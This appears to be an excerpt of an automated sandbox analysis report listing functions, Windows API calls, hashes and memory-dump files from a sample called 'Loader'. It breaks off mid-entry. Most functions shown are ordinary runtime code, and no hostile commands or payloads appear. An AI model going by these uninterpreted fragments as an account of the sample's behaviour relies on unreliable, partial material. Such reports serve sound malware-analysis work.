Opcode ID: 0a4eecdb4785248ce916a28647901b718f75a0411b1bb8340a62a4dbdc4814a6
Instruction ID: 3a249a09d75dc7617a6e6bde45f0374fbcd0ca1b67611a0b6a45fd85f71324a5
Opcode Fuzzy Hash: 0a4eecdb4785248ce916a28647901b718f75a0411b1bb8340a62a4dbdc4814a6
Instruction Fuzzy Hash: A401B537610215AF9B178F68ECC691637AEFBC5764F658124F9148B1A4DA31E8109BD0

Function 003356B1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00337635,?,?,00337635,00000220,?,?,?), ref: 003356E3

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9b9e0d425897ab93a8a4a8540e553906b36de3ac098938417dfe8b7039af2ae5
Instruction ID: 82a80066cc9e9ef9c7cbf98b0e0db57df8b2ee937657b8faed27d161730b816c
Opcode Fuzzy Hash: 9b9e0d425897ab93a8a4a8540e553906b36de3ac098938417dfe8b7039af2ae5
Instruction Fuzzy Hash: 99E02B31545A2057DB233665DC82F5B768C9F01BE1F522520EC05EA0E0DB50CC0083E4

Function 003220C0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 003220D1

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 16a95583bbaf5034c38c3a71aa68128cbeb64c3b4c4176c8b078b0388fcb725a
Instruction ID: 05f9bf0833e4003c8b07968af8c1938e6cd91efbd0ac18cb563d18e3fe8330aa
Opcode Fuzzy Hash: 16a95583bbaf5034c38c3a71aa68128cbeb64c3b4c4176c8b078b0388fcb725a
Instruction Fuzzy Hash: 74C0127410010CABDB41DF94EC05B4A77ECEB04324F008021FC0CCB300DE75EA408652

Non-executed Functions

Function 003404C2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 003406D9

Strings

1#IND, xrefs: 003405C7
1#INF, xrefs: 003405F8
1#QNAN, xrefs: 003405D5
1#SNAN, xrefs: 003405CE

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 02a0be489536ff1ba4a34317ce29aed237b00234f8c4bc8958cc548b207f2455
Instruction ID: 3bdcea474d066fffc03fca47dd96936221c48bad0244f7d08da7a97c76a3d398
Opcode Fuzzy Hash: 02a0be489536ff1ba4a34317ce29aed237b00234f8c4bc8958cc548b207f2455
Instruction Fuzzy Hash: 61D22871E086288FDB66CE28CD407EAB7F9EB45305F1541EAD50DEB240DB78AE858F41

Function 0033B177 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0033AB2D,00000002,00000000,?,?,?,0033AB2D,?,00000000), ref: 0033B210
GetLocaleInfoW.KERNEL32(?,20001004,0033AB2D,00000002,00000000,?,?,?,0033AB2D,?,00000000), ref: 0033B239
GetACP.KERNEL32(?,?,0033AB2D,?,00000000), ref: 0033B24E

Strings

ACP, xrefs: 0033B195
OCP, xrefs: 0033B1CB

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 75e5bc74e510796ea6d9397a3a44f405881058740a38e44c6f06c35cffa6a143
Instruction ID: f09f392847186d58496730caf7e05dc80c8f4ff3b5f51dd2d5bade8b5c11f2f7
Opcode Fuzzy Hash: 75e5bc74e510796ea6d9397a3a44f405881058740a38e44c6f06c35cffa6a143
Instruction Fuzzy Hash: 3B21A722E00104A6DB368F55C981AABF3A6AF94B54F574A24EB0ADB114E732DD40C750

Function 0033A9F7 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0033AAFF
IsValidCodePage.KERNEL32(00000000), ref: 0033AB3D
IsValidLocale.KERNEL32(?,00000001), ref: 0033AB50
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0033AB98
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0033ABB3

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: aad4ed34b6b8937640fc418f1bd5716332bbbd073c7fa13329e49a27b28839b2
Instruction ID: 6e8e3c78a983155e02cc1323484678d4ee17ecb08e1dc2ec05e73b2a630c425a
Opcode Fuzzy Hash: aad4ed34b6b8937640fc418f1bd5716332bbbd073c7fa13329e49a27b28839b2
Instruction Fuzzy Hash: 34517372A00A19ABDF12DFA5CCC1ABEB7B9FF04700F054569E941EB190EB749940DB62

Function 00333400 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction ID: 48d6f57b6ee1e8824939b0848cafb3657513b2c9f968159c9322018781552e0c
Opcode Fuzzy Hash: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction Fuzzy Hash: 6B0239B1E012199FDF15CFA9C9C06AEBBF1FF48314F258269E519EB340D731AA458B90

Function 0033B759 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033B849

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3f349c8d626ddcfd1530559a749e06298f9424b3c5659caa5e4ac6ea99b27781
Instruction ID: 7e4df040740b1b120c87295b99a65c481f81b9c52139c25a386b1eafcd0ec2ca
Opcode Fuzzy Hash: 3f349c8d626ddcfd1530559a749e06298f9424b3c5659caa5e4ac6ea99b27781
Instruction Fuzzy Hash: 3071A1719051689FDF22AF28CCCABAAF7B9EF45300F5541D9E249AB211EB315E849F10

Function 00329A33 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00329A3F
IsDebuggerPresent.KERNEL32 ref: 00329B0B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00329B24
UnhandledExceptionFilter.KERNEL32(?), ref: 00329B2E

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1115dd5648234f72b9b65155925bfacc83765900ad2d0dcec611b4a2bbf427e8
Instruction ID: 31a72b661b3766789a40f01430f1e21cfe9944fd0521edee2eb6d5963ad5d7a1
Opcode Fuzzy Hash: 1115dd5648234f72b9b65155925bfacc83765900ad2d0dcec611b4a2bbf427e8
Instruction Fuzzy Hash: 88310A75D01228DBDF61EF64D9497CDBBB8BF08700F1041EAE40CAB250EB749A848F45

Function 0032A2F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0032A307
GetCurrentThreadId.KERNEL32 ref: 0032A316
GetCurrentProcessId.KERNEL32 ref: 0032A31F
QueryPerformanceCounter.KERNEL32(?), ref: 0032A32C

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9aed879b4f85cb294332b1b0ce205cc6b4cb2c73b29d28e4b8d92235567ea3e2
Instruction ID: 8072c1c4ffaee046f2247faf683d345c0006d680c51fa4ff66ed92939a33d229
Opcode Fuzzy Hash: 9aed879b4f85cb294332b1b0ce205cc6b4cb2c73b29d28e4b8d92235567ea3e2
Instruction Fuzzy Hash: F0F0AF78C0020CEBCF05DBB4CA4898EBBF8FF1D300B914995E412EA110EB30AB449B50

Function 0033ACF0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0033AD44
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0033AD8E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0033AE54

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: c188e7461cff10e4cc5a5b98ac4b39ac7f34951da3c44be37be7ddc8b3f7bb73
Instruction ID: b76d1166c14d3a5918dcdd007d05dae55924e11386e99945b41af8b7d27da2e7
Opcode Fuzzy Hash: c188e7461cff10e4cc5a5b98ac4b39ac7f34951da3c44be37be7ddc8b3f7bb73
Instruction Fuzzy Hash: 7D61B2B1910A079FDB2A9F24CCC2BBAB7A8FF04300F118179ED45CA581E738D990DB55

Function 00331A20 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00331B18
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00331B22
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00331B2F

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8c6a45c10979fc10b6ea1a5f3c5b5ed70b4732fee736fde4365c1c5f07bb8a47
Instruction ID: 6cadf21543ddf819c02b8a2f2601566fd11c045f38f3d1aab287173dcf39fc32
Opcode Fuzzy Hash: 8c6a45c10979fc10b6ea1a5f3c5b5ed70b4732fee736fde4365c1c5f07bb8a47
Instruction Fuzzy Hash: DF31A57590122C9BCB62DF64D8897CDBBB8BF08710F5041DAE41CAB291EB749F858F45

Function 0033EA4E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0033E9A9,?,?,00000008,?,?,0034535B,00000000), ref: 0033EC7B

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0b42a19f43eb48effc2f0dd23be82591c80ec39491fa305eced21fba459cd5db
Instruction ID: cd4c328e968b16ef308149a62c5874953e4d310d9dde8fbc03a40db3a7ed1226
Opcode Fuzzy Hash: 0b42a19f43eb48effc2f0dd23be82591c80ec39491fa305eced21fba459cd5db
Instruction Fuzzy Hash: 16B11935610609DFD716CF28C4CAB657BA0FF45365F2A8658E89ACF2E1C335E992CB40

Function 0032969B Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 003296B1

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 196dbcbf27147ace1acad511060d597d49336513d40baa5ffadbf755c0bf68ea
Instruction ID: c71aa0516b5c314ad2c5788047ae57bd7d4eae5e17ca50a9f3d8c35428be82a7
Opcode Fuzzy Hash: 196dbcbf27147ace1acad511060d597d49336513d40baa5ffadbf755c0bf68ea
Instruction Fuzzy Hash: 08A18CB19113198BDB1ACF58E882BA9BBF4FB48325F25852ED815EB360D3759940CFD0

Function 0033B6A8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003369B4: HeapAlloc.KERNEL32(00000008,00000000,00000000,?,00335B4F,00000001,00000364,00000002,000000FF,?,00000000,?,0032D615,00000000,?), ref: 003369F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033B849
FindNextFileW.KERNEL32(00000000,?), ref: 0033B93D
FindClose.KERNEL32(00000000), ref: 0033B97C
FindClose.KERNEL32(00000000), ref: 0033B9AF

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: ad1e0bf3b4488512f7e4d704f8721639b3207dac7198eccb2584fcb4fdae12fb
Instruction ID: 4ab53e93f6729ec4120b5e175b9551e822dc8c49a0e937070f25d6c0f361f203
Opcode Fuzzy Hash: ad1e0bf3b4488512f7e4d704f8721639b3207dac7198eccb2584fcb4fdae12fb
Instruction Fuzzy Hash: E1515375A00118AFDF26AF388CC6ABEB7ADDF85354F144199F5099B201EB309D419B60

Function 0033AFB0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0033B004

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1e86c47d57f1c93cdffa57feab9eda81b6884cfb6a9b6cc21353193f0a4e5f6d
Instruction ID: 1512faaf32f6c431d6b7b96c9dfeec48396336ad97293385d54e660ca69b083a
Opcode Fuzzy Hash: 1e86c47d57f1c93cdffa57feab9eda81b6884cfb6a9b6cc21353193f0a4e5f6d
Instruction Fuzzy Hash: 75219572615206ABDF2EAA25DC82B7BB7ACEF44310F10407AFE15DB151EB74ED448B50

Function 0032DDA2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 0032DF26

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3600699d57daaea322d75769df52d188d26b2dcaccebf42e04f254843290b9f6
Instruction ID: 28ffb5ea24b731647ddf42c14d75d7a2dfd1e11106cd8732d5c52c62735f1c29
Opcode Fuzzy Hash: 3600699d57daaea322d75769df52d188d26b2dcaccebf42e04f254843290b9f6
Instruction Fuzzy Hash: 57B1043090062A8BCB26CF68E9566BFBBB4AF14700F16461DE493DF691C771ED42CB51

Function 0033B0D0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0033B124

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d6d09a276baaf5322530e702426f0965714f544b008143b60c99a3455c403463
Instruction ID: 70373e1558bcbaa5147d1d8f5db30b6339fee917acae8938a59dac5a9bd3a69e
Opcode Fuzzy Hash: d6d09a276baaf5322530e702426f0965714f544b008143b60c99a3455c403463
Instruction Fuzzy Hash: F5110072910516ABD7159F28DC96ABBB7ECFF05310F10417AFA05DB241EB78ED048750

Function 0033AC48 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

EnumSystemLocalesW.KERNEL32(0033ACF0,00000001,00000000,?,-00000050,?,0033AAD3,00000000,-00000002,00000000,?,00000055,?), ref: 0033ACBA

Memory Dump Source

